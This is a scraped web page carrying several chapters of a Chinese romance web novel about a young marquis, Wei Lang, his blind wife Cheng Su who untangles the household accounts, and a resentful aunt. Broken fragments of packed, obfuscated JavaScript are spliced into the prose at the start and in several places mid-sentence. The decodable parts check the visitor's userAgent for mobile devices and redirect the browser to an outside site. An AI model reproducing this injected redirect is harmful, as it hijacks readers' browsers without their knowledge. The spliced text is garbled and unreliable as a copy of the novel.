l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999097|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出门找人:“夫人呢?” “在小书房里。” 卫琅找了过去,还没到门口,就听到里面程素身旁那个叫白芷的丫鬟念东西的声音,听起来像是念账簿? 他也没多想,挥手制止了门口要通传的丫鬟们,轻手轻脚地进了屋,果然看见程素坐在桌后,旁边的白芷手持账簿,正在一一对着条目为她念着上面的数字。 卫琅同样一挥手,示意白芷继续念下去,准备蹑手蹑脚绕到程素身后。 不料她却有所察觉,突然出声问:“可是侯爷醒了?” 被戳穿的卫琅也不觉尴尬,快步走到她身旁,讨好道:“你怎么知道我来了?我刚刚还想给你个惊喜呢。” 程素道:“白芷突然停顿了一下,又听到了侯爷的脚步声。” 卫琅张口就要夸她心细如发、听力也敏锐,却听她解释道:“瞎子总会对这些细节更敏感些。” 卫小侯爷:“……” 他真该死啊。 他缩了缩脖子,连忙转移了话题:“你在忙什么呢?听这账本有什么意思,你若是闷了,回头我找个戏班子,每天你想听什么,就让他们演什么。” 程素只是摇摇头,便让白芷把堆在桌上的那些账册收了起来。 卫琅看着那些账册,又想起之前在松芝堂看到的那一幕,等丫鬟们都退下后对程素道:“这些事你别操心了,一切有老夫人,其他的等你的眼治好了再说。” 程素微微抬起脸,目光寻找着卫琅所在的方向,认真道:“可若是这双眼一时半会儿治不好,我也不能整天无所事事,什么都不做。我虽看不见,但能心算、记性也不算差,不是什么都做不了。” 她的语气诚恳,却听得卫琅险些没一口咬掉自己的舌头。 他连忙道:“素素,我不是那个意思啊,我绝对没有嫌弃你的意思……” 听他的语气有些慌乱,程素主动道:“我初来乍到,对府里的人和事还不熟悉,可否劳烦侯爷给我讲讲。” 卫琅挠挠头,不觉得府里的情况有什么好讲的,毕竟侯府的底细不说京城人尽皆知,也至少有所耳闻。 但既然程素要听,他这会儿心里有愧,还是老老实实地倒了个干净。 卫家人口简单,老夫人与已故的老侯爷鹣鲽情深,后院没有别家那些莺莺燕燕,膝下四子皆为她所出。 早些年北方突厥作乱,老侯爷和卫琅的父亲叔叔们先后都上了战场,又相继战死。老夫人先是丧夫,又接连丧子,唯一活下来的只有二儿子,可谓满门忠烈。 唯一一个活下来的儿子,也就是卫琅的二叔、卫珏的父亲,常年驻守边关,也已经数年没有回过京城了。 老夫人不忍他们夫妻长久分离,待卫珏稍能记事后,便让二夫人去了边关,前几年他们又添了一双儿女陪在身边,一家人和乐融融,也让老夫人放下一桩心事。 只可怜了卫珏,父母弟妹远在边关,却只能从书信中了解家人的近况。 更可怜的还有三房的堂妹卫若。 她出生没多久后,三叔便战死沙场,三婶常年郁郁不乐,后来竟几次三番想带着年幼的卫若寻死。 事后卫若虽活了下来,却因此受了刺激,一句话也不肯说。这些年来老夫人延请名医,为她调养身体,卫若总算慢慢能说话了,但至今仍不敢出门见人。 这些事程素早有耳闻,但从卫琅口中说来,让人听了不免心中愀然。 旁人只道侯府钟鸣鼎食,却不知这份煊赫下的累累血泪,男丁们战死沙场,女眷们也各有各的不幸。 卫琅边说边看程素,只见她低头不知在想着什么,终于后知后觉出不对劲。 糟了!他不会把家里的情况说得太惨,让素素听了后悔嫁进来了吧! 12. 第十二章 倒不是卫琅自夸,他可觉得自家怎么也算是京城里百里挑一的好人家。 家里上有祖母慈爱,下面的弟弟妹妹们也都老实乖巧,不肖子孙只有他能姑且算上一个,但他再怎么胡闹,也不像别家纨绔一样沾染上什么恶习。 可再想想卫家上一辈的命运,他又有些心虚,毕竟又有哪个姑娘嫁人,是为了入门守活寡的呢? 他话到嘴边,硬生生又改了口:“……不过那都是前些年的事了,这些年边关太平,指不定二叔二婶他们什么时候就回来了。至于我,文不成武不就的,没什么出息,打仗肯定不行……” 程素摇头:“侯爷又何必妄自菲薄,先前您南下剿匪那番大胜,足以看出您虽然年纪尚轻,却已身具将才,颇有老侯爷和几位将军的遗风,再假以时日,必当有一番作为。” 卫琅:…… 哎呀,他不就是故意自谦一下,素素怎么还这么较真呢。 他压住上扬的嘴角,正色道:“什么作为不作为的,咱们家大业大,也用不着你我操心那些事。只要咱们关起门来,安安稳稳过好咱们的小日子就好。” 自家人知自家事,卫家两代人先后死在了战场上,人丁凋落,老夫人不愿孙辈们再重复丈夫儿子们的命运,对卫琅这个长孙格外宠溺,只盼他能平安富贵。 卫琅也不负期望,仗着有父辈们的功绩护身,这些年也没少胡作非为,致力于当一滩扶不上墙的烂泥。 不过一家里总会有个不成器的,但总不能都是不成器的。在他看来,卫家这一辈真正的希望还在堂弟卫珏身上。 卫珏虽然性格文弱,着急了还有点口吃,却是个卫家少见的读书种子,小小年纪已经能写得一手好文章,日后前途必然不可限量,比他这个混日子的有出息。 至于卫琅自己,还是继续安安稳稳当个纨绔最好。有隆兴帝这位便宜世叔在位,只要他日后没昏了头,往后至少还有几十年富贵闲人的日子可过。 程素只是摇摇头,什么也没说。 卫琅看她虽然不赞同,却也不言语,仍是柔顺安静的模样,心道素素什么都好,只是性子未免太乖巧了些,若嫁了旁人家,还不得被后宅一帮子人欺负了去。 不过如今有他在,那些当然都是没影儿的事儿了。但他还是不放心,叮嘱道:“往后别管是在家里还是外面,你遇到什么事都告诉我,都有我在呢。” 程素却将话题一转:“侯爷刚刚说到一半,还没提四房的事呢。” 卫琅回想一下才道:“……你说四婶啊,四婶……也是个可怜人,她嫁进来没几天,小叔就出征了,很快也战死沙场。老太太原本不忍心看她年纪轻轻就守活寡,想把她送回娘家,给她备份妆奁,另寻个好人家。可后来也不知怎么地,还是留在了府里,一转眼也过去好些年了……” 他整天在外面跟狐朋狗友厮混,对家里的事不怎么上心,跟夫人和弟弟卫珏还好,对四夫人薛氏就没什么了解了。 对方毕竟是孀居的女眷,他又年岁渐长,平日顶多是回府陪祖母吃饭时,在饭桌上打个照面罢了。 但这位四婶近些年似乎也不常去松芝堂了,卫琅对她的了解就更少了。 不过他想起之前看到的那一幕,还是叮嘱道:“反正她是长辈,咱们平时敬着就行了。咱们家什么也不缺,不值当为了些小事计较,让老夫人伤心。” 程素轻轻应了一声。 …… 抱筠居里的新婚小夫妻还在说着体己话,侯府的另一处恰巧也在念叨他们。 天近傍晚,莳芳院的檐下早早地挂上了灯,屋内也同样灯火通明。 窗前昏黄的铜镜里,映出了一张满是忐忑不安的圆脸,却不是四夫人薛氏的,却是她身边的大丫鬟半夏的。 她小心地帮四夫人薛氏拆去发髻卸下头上的钗环,而对方百无聊赖地倚坐在妆台前,信手拨弄着下面新送来的一匣子首饰,眉眼间满是酒后的倦怠和不耐烦。 薛氏一早去了趟松芝堂后,便出府回了趟娘家,先是跟人打了大半日的叶子牌,傍晚又喝了一通酒,早就乏了。 若不是她嫌薛府破落,不想在那边过夜,强撑着回了府,她早就歇息了,何曾想一回来就听了令人不快的消息。 另一个大丫鬟剪秋小心道:“……事情就是这样,那李嬷嬷趁您白日不在府中,把箱笼和账册都送去了抱筠居那边。奴婢实在拦不住,这才、这才……” 薛氏冷笑一声,竟一抬手把匣子掀翻,哗啦一声落得满地。丫鬟们吓得顾不上掉落的金银珠玉,连忙跪在地上。 半夏惴惴不安地跪在地上,只听薛氏骂道:“那老东西当日说要再等等,再好好相看,我当她还真能给她那好长孙娶个公主回来,最后还不是被人算计了。娶回来了个瞎子,居然还巴巴地捧着她当主母,都要当到我头上来了……” 她听得大气都不敢喘一下,显然主子骂的还不是那李嬷嬷,而是…… 这个中缘由,半夏也知晓一二。 卫家无人,老夫人年迈,许多事只靠下人打理也不像话,府里总需要一个年轻能干的女主人主持中馈。 小侯爷和二公子眼看一日大过一日,早晚是要娶亲的,日后新夫人进了门,怎么当家还不好说。 薛氏早在几年前就动过心思,要把娘家侄女也带进府里来帮衬。 当然,她也不是不知道,老夫人不可能让人插手嫡长孙的婚事,再加上卫琅这人也不是个不好摆布的性子,故而她也没在他身上下什么功夫。 当初听说老夫人竟然昏了头,要为她那宝贝嫡长孙求娶了那么个盲女,她还曾乐不可支地等着看笑话。 可谁能想到呢,就是那么一个瞎子,那老太太竟然也拿她当成个宝,才进门头一日,就巴不得什么都送到她手上,那架势竟是连一刻也等不得。 剪秋向来乖觉,忙顺着主子的话头给她消气:“老夫人也是被迷了眼了,才被人哄了去。要说那位,原先瞧着不声不响的,真不是个省油的灯,才进府头一日,手就伸得那么长,心未免也太大了些,这侯府也是她能拿得住的。” 薛氏余怒未消,闻言冷笑连连:“那瞎子不过是个纸糊的灯笼,那些账册就是给了她,她还能看出什么不成。是那老东西还在记恨我呢,故意跟我过不去。” 剪秋又是哄道:“可不是,又有几个能像当初您一样,把府里上上下下打理得井井有条的。等那边出了差错,回头老夫人自然就想起您的好了。” 她又是连说好话,又是哄又是代主子骂的,总算让薛氏消了那口气。 白日里她在薛家那边,被一群人捧着饮酒作乐玩了个痛快。这会儿早已乏了,发作了一通后,竟等不及沐浴的水送来,就歪在榻上闭眼睡着了。 临睡前,她还醺醺然念叨着:“赶明儿对外就说我病了,让怜儿、玉儿她们进府来陪我,回头好婚事飞了,可怪不得我这个做姑母的没替她们上心……” 两个贴身大丫鬟替她脱鞋盖被,才弯腰收拾方才那一地的东西。 那些新打的首饰做工极尽精巧,其中任凭一件拿出去,都够寻常人家三五年吃喝用的,被随手那么一摔,就那样胡乱散落在地上,珍珠更是断开滚落了一地。 半夏蹲在地上,一样样捡拾起那些金钗珠环,心头蓦地一酸。 她不知怎么想起许多年前还在薛家时,四夫人、不,姑娘那时还是个不受宠的庶女,每年做新衣服时,只能眼巴巴等着别的姐妹们挑剩下来的,像样的首饰更是没有几件,只好戴些便宜的绢花; 想起刚嫁入卫家不久,姑爷战死的消息刚传来时,她们的惶惶不安。 那时的她们只怕往后在府里没了依靠,又或者要被赶回薛家。 明明如今什么都有了,为什么人却仿佛变了一个人。 到底是从什么时候变了呢? 剪秋捡起一支金步摇,回头瞥见她神色黯然,低声提醒:“快收收你那副模样,回头让人瞧见了可不好。可别怪我没提醒你,文冬是怎么被嫁出去的。” 半夏勉强道:“……你不必劝我,倒是你,就算是为了哄夫人开心,有的话也说不得,抱筠居的那位又没得罪你。” 剪秋没把她的话放在心上,不动声色地将步摇藏入袖中,笑吟吟道:“我们当奴婢的,不过是主子的应声虫罢了。主子想说的我们应着,主子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011861|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不出的我们说着。再说了,我可没说老夫人的不是。” 半夏没再理她。 …… 婚后的第十天,卫琅他们还是在去松芝堂陪老夫人用饭时,才得知了薛氏抱病的消息。他也没多想,随口就道:“那我回头让人给四婶那边送点药材。” 老夫人瞥他一眼:“素素早都让人送去了。” 卫琅有些惊讶,这几天他整日跟素素腻歪在一起,哪成想她竟然不声不响地就把事都办妥了。这么聪明能干,该说不说,不愧是他的媳妇。 他悄悄地在桌下捏了捏她的手,让程素一头雾水,不知道他是什么意思。 老夫人实在有些看不下去了,清了清嗓子,语重心长道:“阿琅,你成婚也有些日子了,莫忘了自己如今身上还领着官职,也是时候去替陛下好好办差了。” 卫琅难以置信地看着她:“老夫人,我这才成婚几天,您这就赶我去办差?您还想不想抱曾孙了?” 老夫人险些没被他气笑了。 这臭小子真当她老糊涂了什么都不知道,给他机会都不中用。过了十日还没圆房,那曾孙难不成能从天上掉下来? 不提这还好,一提起来她越看这小混账越不顺眼,当即沉下脸来:“俗话说成家立业,如今成了婚,就算是为了素素,也不能再跟从前一样。外头的人如何说不论,让弟弟妹妹们看了像什么样子。” 程素善解人意地提醒道:“大周官员婚假只有九日,若是侯爷今日实在不想去当值,便让底下的人去告个假便是了。” 桌子另一边的卫若、卫珏也齐刷刷抬头望来,仿佛在异口同声地问,兄长当真要请假待在府里吗? 卫琅:…… 他有心想说当然,可顶着一桌老小的目光,外加一个虽看不见却让他压力倍增的程素,连半个字都吐不出来了。 一直回到抱筠居,他还如在梦中。 直至被服侍着换好衣物,望着摸索着替他整理衣领的程素,卫琅这才悲从心来,捉住她的手就开始碎碎叨叨说个不停:“好素素,今天我不在了,一会儿太医们来给你施针,可没人陪着你了。” 从婚后的第四日起,太医开始每日正式来府上为程素治眼睛了。先前每次来施针的时候,都是卫琅在旁边亲自守着。 程素轻轻拍掉他的手,接过丫鬟们递来的玉佩为他戴上:“侯爷说笑了,太医们医术高明,再有丫鬟们陪着,我也不是小孩子,您就放心去吧。” 卫琅不甘心:“那你一个人在府里多闷啊,若是无聊了,就去找老夫人和若若玩。赶明儿我真去给你请个戏班子回来,从早到晚吹吹打打的才热闹。” 程素应下了:“好,那以后侯爷不在家的时候,我就天天听他们唱戏。” 她应得爽快了,卫琅反而心里不得劲儿了。戏班子一群人男男女女都有,素素整天听他们唱戏,还有他什么事儿,遂飞快改口道:“戏班子有什么好听的,翻来覆去就那几出老掉牙的戏。你先让丫鬟们陪着你,晚上回来,我给你带好吃的点心。” 话说到这里,他总算一步三回头地走了,哪怕明知道程素看不见,还非要她把他送到院门口再回去。 眼见他的身影终于走远,抱筠居的丫鬟们率先松了口气,小檀嘟囔道:“侯爷总算是走了,可没见过那么缠人的。” 白芷虽然心里也有同样的想法,但还是往她的脑袋瓜上戳了一指头:“又胡说,那是侯爷跟夫人感情好呢。” 其他的丫鬟们也在捂着嘴低低地笑。 可不是么,这些天几乎夫人走到哪,侯爷就跟到哪,整天拉拉扯扯的,看了让人怪不好意思的。 程素在院门口多留了好一会儿,说是送人,其实她也看不见,不过她知道卫琅定会回头看,还是等到丫鬟们提醒她该回去了,才在小檀的搀扶下慢慢往回走。 说来也怪,对方一走,整个抱筠居瞬间就安静下来了,竟显得有些空旷。明明前几日卫琅在身边的时候,程素总觉得这院子似乎很小,到处都是他的声音。 她发了好一会儿呆,直至丫鬟们来报说是太医来了,才回神吩咐道:“好了,稍后请三姑娘过来一趟吧。” 13. 第十三章 卫若来到抱筠居时,正好撞见太医们拎着药箱从院子里出来。 她自幼是抱着药罐子长大的,跟太医院的几位老先生也算相熟,怯怯地点头示意过后,这才进了书房的门。 程素已立在一张堆满账簿书册的黄花梨木长几前等她,听到脚步后便喊她的名字:“若若,到我身边来。” 她们早在程素和卫琅定婚前便已认识了,那时程素随母亲云氏被邀来侯府作客,两人一来二去便熟了起来。 卫若性格拘谨内向,不擅长与人打交道,程素同样安静少言。和她待在一起,卫若反倒觉得难得的放松自在。 自从程素嫁进侯府后,她早就想来抱筠居找她一起玩了,可有兄长卫琅在,她又不好意思来打扰。今日一听说抱筠居的丫鬟来请,她便立即赶来了。 程素知道她的性子,也不让她绞尽脑汁想客套的话,主动拉她坐下道:“若若,今日请你来,还是想请你帮我些忙。我双眼不便,又是初来乍到,打理府中庶务难免吃力,还要请你多帮我。” 卫家虽然主子少,但偌大的家业真要打理起来,一点也不比旁人家省心省力。 眼下已是深秋,再有一两个月便要到年底了,不仅各地的庄子管事要进京,等到了年节,也要给与侯府交好的人家送礼打点,她想在这之前摸清楚状况,不下一番力气是不能的。 卫若有些吃惊,又有些紧张。 她当然还记得之前在老夫人面前应下的话,可她自己什么也不懂呢,真的能帮上素素姐姐的忙吗? 不过她还是鼓起勇气,用力地点点头:“嗯。” 见她答应,程素便放下心来。 她让人给卫若单独搬了张圆凳,放在一旁,又取来笔墨纸砚供她用。 旁边的白芷等人早已准备好了,把府中近年来的账目都搬了过来,田庄、铺面、赏赐等各类簿册林林总总地堆起来,直堆得案上如同小山一般。 程素嫁进来时,身边只带了白芷和小檀两个贴身丫鬟,老夫人只道她身边伺候的人太少,又拨了青桂、丁香、素馨、留兰等四个大丫鬟过来。 四人往日在老夫人身边是,已是管事的好手,就连白芷也打得一手好算盘。 程素命她们几个在书房另一边先核查账目,自己则让小檀读册。 一时之间,算盘声噼啪如急雨。 卫若自幼跟在祖母老夫人长大,也曾依偎在她怀里看过这些账簿,甚至也粗粗学过几分如何看账本,但这还是她头一次见这阵仗,手心都出了一层汗。 好在程素并未直接让她算账,只是让小檀在旁读册,她代为书写。 卫若起初只听小檀代读,程素在一旁微微点头,还有些疑惑这样真的有用吗。可随着程素不时让她勾点圈画几处,原本庞大繁琐的账目当真渐渐露出了好几处破绽,让她额头上也出了层薄汗。 比如府里曾以修缮院落为由,支取了一笔银子,可却无采买工料的记录; 从某一年前起,每年夏季用冰的开销都是往年两三倍有余;有几个不同地方的庄子前些年连年亏损,可到了某一年,突然齐齐止住了,然而这两年又开始同时亏损,甚至连数目都大同小异…… 卫若起初有些慌乱,但看程素一脸淡然,这才慢慢把心沉到肚子里了。 半个时辰过后,程素才让众人停下稍事休息,又让丫鬟送来茶水点心,温声问她:“若若,累不累?” 卫若刚要摇头,想起程素看不见,小声开口道:“若若不累。” 就算刚来时还没想明白,这会儿她也看出来了,程素是在有意教她呢。 她母亲早逝,府里也没有合适的女性长辈教她。祖母毕竟年事已高,精力不济。如今有了长嫂在身旁,她好像终于也有了能依靠仰望的人了。 众人稍事休息过后,很快又重新投入到堆积如山的账册中。 窗外日头渐高,在书房投下斑驳光影。书房里的算盘珠子拨弄声、书页翻动声、周围的低低交谈声,和弥漫的墨香交织成一种奇特的氛围。 卫若随着众人一起忙碌,每隔半个时辰一歇,中午又休息了一阵儿,其余时候都在埋首理账。 不知不觉中,天色已暮。 卫若这才恍然发现,这一天竟然已经过去了。 虽然起初有些紧张不安,可她还是渐渐有些喜欢上了这种忙碌的感觉。尽管她好像也没起到特别的作用,但这种能帮忙和大家一起做事的感觉,至少能让她觉得自己也不是那么…… 没用。 程素停下了手头上忙碌的事,带她先去了松芝堂看望老夫人,准备一家人同用晚饭。然而她们坐等了好一会儿,却始终不见卫琅、卫珏他们回来。 再一问,原来国子监最近有大考,卫珏打算留在书院里温习功课,连铺盖都带过去了,最近都不回府了。 卫若悄悄告诉她:“二哥是要出去避风头,才不回来的。” 程素讶然之余,又有些不解。 卫若小声道:“他害怕四婶家的两个侄女。” 程素这才想起,四夫人薛氏称病的第二日,就以需要人来侍疾为由,让娘家的两个侄女过来陪她说说话,只是那会儿她被卫琅缠着,还未曾打过照面。 听卫若这样一说,她顿时了然。 卫珏就算性格再文弱,他所谓的怕,也不至于是在自家府上怕了两个小娘子,只是男大当婚,为防瓜田李下之嫌罢了。 老夫人在旁睁一只眼闭一只眼,只当作没听见这姑嫂俩的悄悄话。 按照常理,她是不容许小辈背后讲这些是非的,可她对若若这孩子素来格外多一份怜爱。她像别人家小姑娘一样能说能笑,已是她向佛祖求来的,故而平时也不愿意对她太过严格。 卫珏不回来情有可原,可卫琅呢? 程素正准备打发人去问,却听外面的小厮匆匆来报,说是卫琅被人邀去赴宴,还不知几时能归,晚上也不回来吃饭了。 原来他今日一大早出门后,还没来得及走到五城兵马司,半路上就被人喊走去了宫里,在里面待了大半日才出来。 好不容易出了宫,又被太子殿下请去京郊宴饮,还不知道何时才能脱身,特地打发人回来说一声,让她们不用等了。 程素还没觉得什么,反倒是卫若有些不安。她之前看兄长和素素姐如胶似漆的模样,还以为兄长当真对素素姐姐很好。 可婚后出门头一日,他就不着家,天长日久下去,怎么能一直对她好呢。 卫若生出了一点愧疚之心,吃饭时也不放心,还鼓起勇气主动帮程素夹菜。 老夫人在一旁看得明白,遂道:“你既这么舍不得素素,今晚就和她做个伴,在抱筠居那边住下吧。” 卫若眼睛一亮,然后又是期待地看向程素和老夫人。 程素自然也没什么意见,于是这事就这么定下来了。 饭后,姑嫂二人散步回了抱筠居。 程素双眼不便,许多消遣都做不得,便取了琴弹给卫若听。 卫若虽自幼体弱,但老夫人对她的教养格外上心,也是通晓音律的,虽然学得不精,但无论怎么说,都比那只会啪啪啪鼓掌的人不知强到哪里去。 两人弹弹琴,又闲聊一会儿。眼看夜色已深,也到了就寝的时间了。 卫若从小到大,除了偶尔跟在祖母身边睡过,还从未跟旁人这般亲近过,心里一时又是欢喜又是好奇。 已是深秋,程素屋内的炭盆烧得很暖,卧房里没有寻常熏香的烟火气,却萦绕着清浅的木樨香,簇新的锦被白日里被晒得绵软,一切都是恰到好处的温暖舒适,散发着令人安心的气息。 就像她给人的感觉一样,沉静得让人不由自主地想依赖和亲近。 卫若坐在床边,看着妆台前背对着她梳发的人,不知不觉脸上有些发热。 先前她就曾想过,素素姐……要是她的亲姐姐就好了。 兄长和二哥很好,可惜他们是男子,有他们的朋友和同窗,不会总待在府里。 若是府里还有别的姐妹,她就不会总是一个人了。 不过素素姐姐成了嫂嫂,似乎也很好。 熄了烛火,两人并肩躺在床上说了一会儿话,刚要闭目而睡,忽然听见外面传来一阵喧哗声。 程素问:“怎么回事?” 白芷很快回话道:“是侯爷回来了。” 卫若哪能想到自己竟然碰上这样窘迫的情况,自己还躺在素素姐的被窝里,兄长却刚好回来了。 若是他再晚回个一时半刻的,她们都已入睡了,卫琅也说不出什么来,可偏偏她们此时还都醒着。 她小声地唤了句素素姐,正准备乖乖起床穿衣、让出被窝的位置,却听程素安抚道:“你安心躺着,我去回了他就来。” 可是…… 卫若有心想问,程素已经起身,还替她掖了掖被角。她不好再动,便乖乖地躺在被子里,耳朵却竖起听着外面的声音。 等程素在白芷的帮忙下,披好衣服刚来到外间,就听见院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卫琅也知道这事是自己疏忽,不提隆兴帝当初那道帮了大忙的赐婚圣旨,就是更好地抱紧这条大粗腿,也该带素素进宫给他老人家磕个头,连忙赔笑道:“瞧您说的,我赶明儿就带她进宫。” 隆兴帝懒得跟他计较,摆摆手道:“罢了,人在你府上,早晚能见着。不过最迟今年除夕宫宴,她怎么也得在人前露一回脸。若是你好好干,就算看在老夫人的面上,朕也不会让你们为难的。” 卫琅眼睛一亮,心里顿时有数了。 君臣二人总算揭过了这茬,卫琅在隆兴帝身旁坐下,陪他一起钓鱼。 两人各持一钓竿,在水边静坐了一个时辰,也不见一条鱼上钩。 卫琅本就性子躁,眼看钓不上鱼,仿佛浑身长了毛,怎么也坐不住,让同样郁闷的隆兴帝看了越发心烦。 他忍无可忍,最后大发慈悲地让他赶紧滚了,别扰了鱼的清静。 卫琅这边总算脱身,还没走出多远,迎面又撞上了太子:“孤几个月前就喊你来看马,你忙着娶亲总是推脱。今日既然碰上了,你可不许再找借口了。” 人都堵到这了,他只得应下。 然而等他随了太子来到京郊,看到等在那儿的永平公主和一众人等,心中那种隐隐不妙的预感总算成了真。 太子口中所说的看马是真,但拉来了一大帮有的没的人应酬也是真。 卫琅得了太子赐的几匹好马,又被人拖去了饮酒作乐,听着众人对太子公主阿谀奉承,只得强忍着心里的不耐烦。 眼看日头西斜,席间的歌舞还迟迟未休,他终于有些忍不住了。 他望了望饮酒作乐的众人,正打算跟太子他们打声招呼提前离开,一名舞姬不知是有心还是无意,舞至卫琅座位附近时,忽然身子一歪,发出一声惊叫,整个人跌坐在地上,怎么也起不来了。 丝竹声也戛然而止。 永平公主不悦道:“还不快来人将她拖下去。” 那舞姬似乎也自知大难临头,跪在地上浑身颤抖不已。 听她口气不好,卫琅心道真要让人这么拖下去了,底下的人还不知怎么折腾这人出气呢,随口道:“不过是一时失误罢了,公主何必与她计较。” 太子随即笑道:“阿琅既有怜香惜玉之心,这美人就赠予你了。” 卫琅:…… 坏了,这还真是鸿门宴啊。 14. 第十四章 虽然被太子和永平公主这一手打了个猝不及防,不过卫琅自有一套应对的流程。他也不推让,甚至还借了一辆马车,载着那美人就告辞了。 京郊本就地处偏远,等赶回城内时,天色已暗。卫琅还惦记着早上出门前跟程素承诺过要给她带点心的事儿,遂让其他人赶着马车先回了侯府,自己又转道去了趟城东的知味斋。 孰料今日生意太好,当日的点心早早卖完打烊了,他只得耐着性子等人开锅新做。一来二去,又耽误不少时间,等他再回到侯府时,天色已全然黑了下来。 太子赠予的美人不好随意处置,卫琅又自认是极孝顺的,当然是送去服侍祖母她老人家了。至于之后如何,那就是她老人家该操心的事了,与他无关。 他自己回来府后的第一件事,是先在前院找个地方沐浴更衣。 毕竟在外跟人喝了半日酒,染了一身的酒气,万一熏着了素素怎么办。那还有席间献舞的美人,他虽然离得远远的,但也难保不沾上什么奇怪的香味。 卫琅从前也不是没听过京城一些官员的笑料,比如什么出门鬼混后,被家中妻子发现身上有脂粉味,然后大打出手。 虽然他身正不怕影子斜,素素也不是什么河东狮,但为了夫妻和睦,还是先把衣服换了的好。 沐浴完毕,他这才又神清气爽地准备前往抱筠居找程素。结果人前脚刚跨进院门,后脚就被拦了下来。 卫琅难以置信道:“若若?这么晚了,她还在这里做什么?” 话音刚落,只听屋门吱呀一声,白芷扶着程素出来了。她起来得匆忙,一头乌发松散垂落在脑后,身上只披了件薄衫,勾勒出清瘦纤细的身形,整个人未施脂粉,却显得愈发面如莹玉。 卫琅顿时气势一弱,望了眼屋里,压低声音问:“若若怎么在?” 程素轻声道:“她来帮我理账,太晚就在我这边住下了。” 卫琅有些吃味,语气酸溜溜道:“……你与她的关系真好,若若那性子,我还从没见过她这么粘人呢。” 之前他见卫若主动与程素打招呼,还只道是寻常,哪成想才一转眼,姑嫂俩都要睡一个被窝里了呢,跟他一个待遇。 程素轻声道:“毕竟我是她嫂嫂啊。” 一句话又把卫琅哄得心花怒放,他哼哼唧唧道:“那行吧。” 人都已经睡下了,他这个做兄长的,总不好再把自家妹妹从被窝里薅起来。 只是他嘴上这样说着,脚下却仿佛生根了似的,一动也不肯动。 直至程素走近了几步,若有所思道:“侯爷身上……好像重新熏过香了。” 卫琅浑身一僵,明明他也没做什么,不知为何有些心虚:“呃……我刚跟人喝完酒回来,怕熏着你,已经沐浴过了。” 程素的指尖在他腰间略略一划:“衣服也换过了,玉佩是谁为您系的?” “当然是我自己……咳,都已经沐浴过了,衣服肯定也要换的。” 程素眨了眨眼:“侯爷可还记得早上出门前还说要替我带点心。” 这下卫琅的腰杆瞬间挺直了,昂着脑袋道:“我当然记着呢,给你带了知味斋的点心呢,特意让他们现做的。不过你既然要睡了,还是不吃了,免得积食。” 程素浅浅一笑:“我与侯爷说笑的,点心什么时候买都好,不必特意跑一趟麻烦人家,下次还是早些回来吧。” 卫琅只看她笑了,心道这趟点心果然买的不亏,下次还是得买。 远处的木通等人听了个一清二楚,只得眼观鼻鼻观心,心道就少夫人这样的,不把他们侯爷吃得死死的才怪。 虽然被程素软语安抚了一通,但卫琅还是一个人回了自己原来的院子。 他新婚不久,虽然有段日子没回来了,不过底下的人打扫得勤,被褥也是现成的能睡。只是从前一个人住惯了的卧房,如今不知怎么地怎么看也不顺眼。 木通见他神色郁郁,贴心提醒道:“侯爷,夫人提前吩咐了小厨房,灶上还温着解酒汤,您要不要来一碗?” 卫琅嘴角上翘,面上却一副浑不在意的模样:“解酒汤有什么好喝的,不过既然是她的心意,那我就勉强喝一碗吧。” 然而一碗温热的解酒汤下肚,却也抵不过独守空房的寂寞。 熄了烛火,他独自躺在床上翻来覆去,想起前几日晚上抱着程素入睡时的满足惬意,再感受着身下硬邦邦冷冰冰的床榻,一会儿长吁,一会儿短叹。 只可怜守夜的木通困得眼都睁不开了,还要被迫听他哼哼,只得问道:“侯爷,您是不是哪里疼?用不用请大夫来?” 卫琅幽幽道:“……像你这种没成亲的人是不会懂的。” 木通:……行吧。 这下彻底没人搭理他了,卫小侯爷独自翻来覆去到后半夜才睡下。 …… 翌日天刚一破晓,他就从床上蹿了起来,狗狗祟祟在抱筠居附近打转。 等了半个时辰,总算见到收拾齐整的程素携着卫若出来了,一行三人便准备去松芝堂给老夫人请安并吃早饭。 半路上,卫琅一手牵着程素,又看看另一边小心扶着程素的妹妹卫若,心里只觉这俨然有了一家三口的模样。 等再过两年,他和素素生一个跟她一样的女儿,那就再好不过了。 只有卫若在他古怪的眼神下打了个哆嗦,心里很是忐忑—— 她只是借宿了一夜,不会已经把兄长得罪了吧。 好在松芝堂离得不远,众人没一会儿就到了老夫人跟前。 小厨房早已把饭备好了,卫家虽然人口少,可毕竟是侯府,饭桌上的花样格外繁复,光是点心就有十几种。 卫琅照例亲自帮程素夹这夹那儿,恨不得亲自给她一勺一勺喂粥,奈何程素的拒绝之意格外坚定,他也只好眼巴巴地望着她一个人低头自顾自地吃饭。 眼看早饭将近尾声,老夫人放下乌木箸忽然道:“素素,我昨日新得了一个好丫鬟,你还没见过。结香,还不快过来。” 卫琅:?? 老太太怎么哪壶不开提哪壶呢? 他特意把人塞进了松芝堂,就是不想程素知道他从外面带回来个女人,免得再生出什么不必要的误会,哪成想转头就被老夫人卖了个底儿掉。 程素不明所以,只听一个陌生的女声恭敬道:“奴婢结香,见过夫人。” 老夫人对卫琅拼命眨眼示意的动作视而不见,笑道:“阿琅这孩子最是孝顺不过,昨日他去赴宴,太子赠了他一个丫头,他还想着我身边缺个捏肩捶腿的人,特意给我送了来。” 程素轻轻点头:“是吗,侯爷昨晚未跟我提及此事。” 